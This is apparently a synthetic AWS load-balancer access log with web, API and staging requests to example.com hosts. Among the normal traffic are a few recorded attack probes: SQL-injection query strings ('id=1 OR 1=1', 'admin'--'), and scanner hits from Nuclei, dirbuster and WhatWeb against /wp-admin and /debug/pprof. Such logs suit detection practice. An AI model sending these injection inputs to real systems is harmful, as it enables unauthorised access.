arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc8d-74d75dd1ce4f4181b93153b2" "staging-alb.example.com" "-" 10 2024-11-01T02:37:49.164072Z "forward" "-" "-" "219.188.7.158:443" "200" "-" "-" -http 2024-11-01T02:37:49.969416Z staging-alb 66.97.250.22:44132 249.169.35.156:443 0.038315 0.633472 0.060629 404 404 779 10495 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc8d-58a32005d4ab4aaf94880e2a" "staging-alb.example.com" "-" 1 2024-11-01T02:37:49.969416Z "forward" "-" "-" "249.169.35.156:443" "404" "-" "-" -https 2024-11-01T02:37:50.372330Z prod-web-alb 216.136.193.40:55111 10.0.140.237:443 0.021920 0.091627 0.072664 404 404 744 11470 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc8e-1e1b19e01c224f5285290131" "prod-web-alb.example.com" "-" 6 2024-11-01T02:37:50.372330Z "forward" "-" "-" "10.0.140.237:443" "404" "-" "-" -https 2024-11-01T02:37:50.870704Z staging-alb 71.11.221.180:18194 166.209.237.57:80 0.037651 0.739019 0.129213 404 404 559 13720 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc8e-65e26afc3d5343eca7d7b538" "staging-alb.example.com" "-" 5 2024-11-01T02:37:50.870704Z "forward" "-" "-" "166.209.237.57:80" "404" "-" "-" -https 2024-11-01T02:37:51.071987Z prod-web-alb 93.86.102.166:27792 10.0.129.241:443 0.087972 0.016968 0.043374 200 200 806 13363 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc8f-09e8cc4d039b4b849b8b65ba" "prod-web-alb.example.com" "-" 4 2024-11-01T02:37:51.071987Z "forward" "-" "-" "10.0.129.241:443" "200" "-" "-" -https 2024-11-01T02:37:51.595371Z prod-web-alb 152.221.22.73:58970 10.0.2.15:443 0.087158 0.125989 0.010400 302 302 440 12319 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc8f-344b6a2d7756407e963c74ae" "prod-web-alb.example.com" "-" 8 2024-11-01T02:37:51.595371Z "forward" "-" "-" "10.0.2.15:443" "302" "-" "-" -https 2024-11-01T02:37:52.742962Z prod-web-alb 114.147.63.185:59812 10.0.180.190:443 0.064518 0.245099 0.034704 301 301 26 5740 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc90-cc775997889c4a0c9b5a7886" "prod-web-alb.example.com" "-" 10 2024-11-01T02:37:52.742962Z "forward" "-" "-" "10.0.180.190:443" "301" "-" "-" -https 2024-11-01T02:37:53.963595Z staging-alb 18.31.84.241:42357 193.213.75.54:8080 0.008429 0.409791 0.149113 301 301 172 706 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc91-bd3ec08e09d94fa2ba8a2a90" "staging-alb.example.com" "-" 0 2024-11-01T02:37:53.963595Z "forward" "-" "-" "193.213.75.54:8080" "301" "-" "-" -https 2024-11-01T02:37:55.045827Z prod-api-alb 17.170.170.48:39091 10.0.213.213:443 0.022471 0.277048 0.051066 404 404 31 11084 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc93-3738ef917c0a47bcbcb092c6" "prod-api-alb.example.com" "-" 1 2024-11-01T02:37:55.045827Z "forward" "-" "-" "10.0.213.213:443" "404" "-" "-" -http 2024-11-01T02:37:55.228402Z staging-alb 185.181.132.228:41268 194.187.12.242:443 0.012752 0.542720 0.087905 500 500 553 2241 "GET /users?id=1 OR 1=1 HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc93-11729212216a43f68260d0df" "-" "-" 7 2024-11-01T02:37:55.228402Z "forward" "-" "-" "194.187.12.242:443" "500" "-" "-" -https 2024-11-01T02:37:56.474693Z prod-api-alb 164.147.47.9:13336 10.0.186.226:443 0.084063 0.244636 0.087927 302 302 711 5939 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc94-b1b46eb49552464cbde49d30" "prod-api-alb.example.com" "-" 4 2024-11-01T02:37:56.474693Z "forward" "-" "-" "10.0.186.226:443" "302" "-" "-" -https 2024-11-01T02:37:57.786408Z prod-web-alb 243.17.122.215:59993 10.0.146.5:443 0.013376 0.320910 0.006419 200 200 985 2038 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc95-5b6fbf19d9c14fc39af9b3d4" "prod-web-alb.example.com" "-" 3 2024-11-01T02:37:57.786408Z "forward" "-" "-" "10.0.146.5:443" "200" "-" "-" -https 2024-11-01T02:37:58.133788Z prod-web-alb 31.118.64.10:51950 10.0.110.228:443 0.039633 0.007445 0.051284 200 200 293 365 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc96-9a54aa15bbed4569ad4f3421" "prod-web-alb.example.com" "-" 8 2024-11-01T02:37:58.133788Z "forward" "-" "-" "10.0.110.228:443" "200" "-" "-" -https 2024-11-01T02:37:58.345035Z prod-web-alb 71.237.179.38:17721 10.0.159.204:443 0.082356 0.497175 0.028094 200 200 774 12187 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc96-e92f30da325e4ac3af1ab922" "prod-web-alb.example.com" "-" 6 2024-11-01T02:37:58.345035Z "forward" "-" "-" "10.0.159.204:443" "200" "-" "-" -https 2024-11-01T02:37:58.573295Z prod-api-alb 207.73.68.153:39189 10.0.97.155:443 0.049094 0.095461 0.015027 302 302 645 12806 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc96-418e909477374c7b89fe1c0d" "prod-api-alb.example.com" "-" 10 2024-11-01T02:37:58.573295Z "forward" "-" "-" "10.0.97.155:443" "302" "-" "-" -http 2024-11-01T02:37:59.331531Z staging-alb 225.217.145.228:12560 218.190.65.115:443 0.103252 0.126036 0.127468 200 200 481 6018 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc97-ba99c9322fd6428f99d91409" "staging-alb.example.com" "-" 9 2024-11-01T02:37:59.331531Z "forward" "-" "-" "218.190.65.115:443" "200" "-" "-" -https 2024-11-01T02:37:59.695529Z prod-web-alb 161.146.172.140:52242 10.0.183.78:443 0.050715 0.198499 0.075328 200 200 21 13803 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc97-dddecf55eed44bc98edbe1d7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:37:59.695529Z "forward" "-" "-" "10.0.183.78:443" "200" "-" "-" -https 2024-11-01T02:38:00.133860Z staging-alb 35.104.11.139:29772 43.0.91.55:443 0.132531 0.229223 0.117222 200 200 138 8887 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc98-5310a7004a1d43b69463d80c" "staging-alb.example.com" "-" 2 2024-11-01T02:38:00.133860Z "forward" "-" "-" "43.0.91.55:443" "200" "-" "-" -https 2024-11-01T02:38:01.387019Z prod-web-alb 122.9.224.231:19456 10.0.232.201:443 0.034165 0.180602 0.050328 200 200 789 6559 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc99-b8102f4021a141dfbd6f3487" "prod-web-alb.example.com" "-" 5 2024-11-01T02:38:01.387019Z "forward" "-" "-" "10.0.232.201:443" "200" "-" "-" -https 2024-11-01T02:38:02.407874Z prod-web-alb 21.233.18.49:30038 10.0.17.31:443 0.068775 0.364469 0.070890 200 200 280 11091 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc9a-9acc43722fc54e07ac5e2a94" "prod-web-alb.example.com" "-" 0 2024-11-01T02:38:02.407874Z "forward" "-" "-" "10.0.17.31:443" "200" "-" "-" -https 2024-11-01T02:38:03.436576Z staging-alb 74.43.161.33:50313 49.225.193.142:80 0.109556 0.666415 0.083111 200 200 154 6182 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc9b-8a143d4ad8db410c8c301d94" "staging-alb.example.com" "-" 9 2024-11-01T02:38:03.436576Z "forward" "-" "-" "49.225.193.142:80" "200" "-" "-" -https 2024-11-01T02:38:04.394504Z prod-api-alb 55.92.23.228:25362 10.0.99.98:443 0.084107 0.076045 0.017983 301 301 673 3469 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc9c-0f81cb3771fc4fd6b05e8cec" "prod-api-alb.example.com" "-" 10 2024-11-01T02:38:04.394504Z "forward" "-" "-" "10.0.99.98:443" "301" "-" "-" -https 2024-11-01T02:38:06.194308Z staging-alb 141.105.104.30:30696 219.52.147.200:8080 0.072661 0.364304 0.128876 200 200 271 11566 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc9e-c3e29dc4428048239bfa2255" "staging-alb.example.com" "-" 8 2024-11-01T02:38:06.194308Z "forward" "-" "-" "219.52.147.200:8080" "200" "-" "-" -https 2024-11-01T02:38:07.724272Z prod-web-alb 97.219.53.5:45270 10.0.181.157:443 0.029338 0.108283 0.072871 200 200 365 4210 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc9f-0540a4f6c36c4965a16d722c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:38:07.724272Z "forward" "-" "-" "10.0.181.157:443" "200" "-" "-" -https 2024-11-01T02:38:09.132955Z prod-web-alb 170.252.6.44:52690 10.0.222.189:443 0.023294 0.294706 0.003816 200 200 568 13203 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dca1-6767af11566d46feb028132f" "prod-web-alb.example.com" "-" 8 2024-11-01T02:38:09.132955Z "forward" "-" "-" "10.0.222.189:443" "200" "-" "-" -https 2024-11-01T02:38:09.998610Z prod-api-alb 170.74.119.244:25969 10.0.72.144:443 0.032692 0.494485 0.066280 301 301 10 6208 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dca1-028a9dd31a124c268d4d19a9" "prod-api-alb.example.com" "-" 1 2024-11-01T02:38:09.998610Z "forward" "-" "-" "10.0.72.144:443" "301" "-" "-" -https 2024-11-01T02:38:11.475518Z prod-api-alb 24.108.205.82:22722 10.0.28.55:443 0.055384 0.303152 0.074075 302 302 383 5945 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dca3-93fbf04598de47f890dcd73b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:38:11.475518Z "forward" "-" "-" "10.0.28.55:443" "302" "-" "-" -https 2024-11-01T02:38:12.201503Z staging-alb 45.155.205.70:11501 29.163.171.76:8080 0.054057 0.667017 0.080672 302 302 422 14289 "GET /wp-admin HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dca4-138f3035af0c45fc8204c74f" "-" "-" 10 2024-11-01T02:38:12.201503Z "forward" "-" "-" "29.163.171.76:8080" "302" "-" "-" -https 2024-11-01T02:38:12.995413Z prod-api-alb 185.181.104.251:40428 10.0.117.138:443 0.004495 0.070732 0.049662 403 403 910 950 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dca4-05fdd83b73c44f57b1ab6488" "-" "-" 3 2024-11-01T02:38:12.995413Z "forward" "-" "-" "10.0.117.138:443" "403" "-" "-" -https 2024-11-01T02:38:13.907947Z prod-web-alb 89.101.243.77:12296 10.0.126.71:443 0.019232 0.105153 0.040511 200 200 303 13383 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dca5-e7689742a10047ac8fa89ac9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:38:13.907947Z "forward" "-" "-" "10.0.126.71:443" "200" "-" "-" -https 2024-11-01T02:38:14.921812Z staging-alb 56.69.163.126:54932 3.216.185.95:443 0.038107 0.405054 0.061895 200 200 893 8441 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dca6-cddbf4782e7d40d18bd452ce" "staging-alb.example.com" "-" 5 2024-11-01T02:38:14.921812Z "forward" "-" "-" "3.216.185.95:443" "200" "-" "-" -https 2024-11-01T02:38:15.555005Z prod-web-alb 45.155.205.99:34724 10.0.65.221:443 0.057152 0.018190 0.086217 403 403 302 2845 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dca7-ef5f6610f4fe4a0f86dd0e19" "-" "-" 10 2024-11-01T02:38:15.555005Z "forward" "-" "-" "10.0.65.221:443" "403" "-" "-" -http 2024-11-01T02:38:16.359646Z staging-alb 116.241.140.50:57798 241.201.137.114:443 0.110652 0.306420 0.018207 200 200 40 1322 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dca8-ac473cf9f15f498ca284bc72" "staging-alb.example.com" "-" 7 2024-11-01T02:38:16.359646Z "forward" "-" "-" "241.201.137.114:443" "200" "-" "-" -http 2024-11-01T02:38:16.982030Z staging-alb 94.254.32.77:29121 185.54.135.134:80 0.074390 0.686109 0.148500 302 302 863 13141 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dca8-f14039b4373a45e28ff567a4" "staging-alb.example.com" "-" 1 2024-11-01T02:38:16.982030Z "forward" "-" "-" "185.54.135.134:80" "302" "-" "-" -https 2024-11-01T02:38:18.330422Z prod-web-alb 121.21.130.226:45920 10.0.162.219:443 0.064237 0.476041 0.070345 404 404 214 1057 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcaa-aa307bb7629c4dc3a916d996" "prod-web-alb.example.com" "-" 6 2024-11-01T02:38:18.330422Z "forward" "-" "-" "10.0.162.219:443" "404" "-" "-" -https 2024-11-01T02:38:18.451737Z prod-api-alb 131.156.100.67:12386 10.0.78.110:443 0.070518 0.465806 0.011555 301 301 782 8209 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcaa-cb4f8d67d62943f1aeee63f9" "prod-api-alb.example.com" "-" 5 2024-11-01T02:38:18.451737Z "forward" "-" "-" "10.0.78.110:443" "301" "-" "-" -https 2024-11-01T02:38:19.205888Z staging-alb 155.100.230.147:38123 91.229.194.181:80 0.075546 0.052342 0.035650 301 301 397 10177 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcab-14342ab8d18641f3a1ba8c97" "staging-alb.example.com" "-" 3 2024-11-01T02:38:19.205888Z "forward" "-" "-" "91.229.194.181:80" "301" "-" "-" -http 2024-11-01T02:38:20.660272Z staging-alb 83.125.134.224:51265 25.4.32.138:443 0.132149 0.693991 0.075188 200 200 174 8042 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcac-a933ccb067924f569d01e270" "staging-alb.example.com" "-" 7 2024-11-01T02:38:20.660272Z "forward" "-" "-" "25.4.32.138:443" "200" "-" "-" -https 2024-11-01T02:38:22.029228Z prod-api-alb 218.185.146.227:30180 10.0.26.40:443 0.038238 0.301348 0.018325 302 302 717 9974 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcae-38e580ec509e486cb10b4b5e" "prod-api-alb.example.com" "-" 6 2024-11-01T02:38:22.029228Z "forward" "-" "-" "10.0.26.40:443" "302" "-" "-" -http 2024-11-01T02:38:22.792462Z staging-alb 60.152.3.92:10863 195.227.177.132:80 0.081631 0.405619 0.112368 200 200 317 5003 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcae-65049f13ae97482491741574" "staging-alb.example.com" "-" 0 2024-11-01T02:38:22.792462Z "forward" "-" "-" "195.227.177.132:80" "200" "-" "-" -https 2024-11-01T02:38:24.752321Z staging-alb 195.251.165.47:57854 143.185.181.237:8080 0.017105 0.306162 0.008036 302 302 56 10238 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcb0-29c34dc7bb994ee6bebb20f8" "staging-alb.example.com" "-" 3 2024-11-01T02:38:24.752321Z "forward" "-" "-" "143.185.181.237:8080" "302" "-" "-" -https 2024-11-01T02:38:26.088086Z prod-web-alb 66.138.25.216:30574 10.0.74.200:443 0.027281 0.274334 0.051428 200 200 174 9518 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcb2-60ab4137b54c4186a883f6c7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:38:26.088086Z "forward" "-" "-" "10.0.74.200:443" "200" "-" "-" -http 2024-11-01T02:38:27.082990Z staging-alb 210.226.21.31:19958 105.46.238.55:8080 0.132040 0.141428 0.005310 200 200 319 5616 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcb3-3de715a5f44743c1a522b987" "staging-alb.example.com" "-" 5 2024-11-01T02:38:27.082990Z "forward" "-" "-" "105.46.238.55:8080" "200" "-" "-" -https 2024-11-01T02:38:28.628153Z prod-web-alb 254.170.30.24:61220 10.0.30.175:443 0.001600 0.375556 0.056489 200 200 578 7894 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcb4-9e342ac784c54f11bd854ec1" "-" "-" 1 2024-11-01T02:38:28.628153Z "forward" "-" "-" "10.0.30.175:443" "200" "-" "-" -https 2024-11-01T02:38:29.867209Z prod-api-alb 133.145.85.199:21181 10.0.30.203:443 0.086670 0.480809 0.008368 200 200 725 3420 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcb5-86bf24df330c49bb9df2fcdb" "prod-api-alb.example.com" "-" 5 2024-11-01T02:38:29.867209Z "forward" "-" "-" "10.0.30.203:443" "200" "-" "-" -https 2024-11-01T02:38:30.957306Z prod-api-alb 76.125.8.51:35847 10.0.35.65:443 0.095167 0.111695 0.084545 301 301 397 6598 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcb6-89d0e671c97d40769ef686e4" "prod-api-alb.example.com" "-" 9 2024-11-01T02:38:30.957306Z "forward" "-" "-" "10.0.35.65:443" "301" "-" "-" -https 2024-11-01T02:38:31.064310Z prod-web-alb 39.135.113.229:54174 10.0.220.61:443 0.074552 0.030422 0.092217 200 200 541 11110 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcb7-cd94d5413b0b47e5a0491fc3" "prod-web-alb.example.com" "-" 1 2024-11-01T02:38:31.064310Z "forward" "-" "-" "10.0.220.61:443" "200" "-" "-" -https 2024-11-01T02:38:31.494652Z prod-web-alb 173.204.38.81:60641 10.0.200.146:443 0.041436 0.498554 0.088206 404 404 518 1295 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcb7-4de500f71df44b26b178ade8" "prod-web-alb.example.com" "-" 9 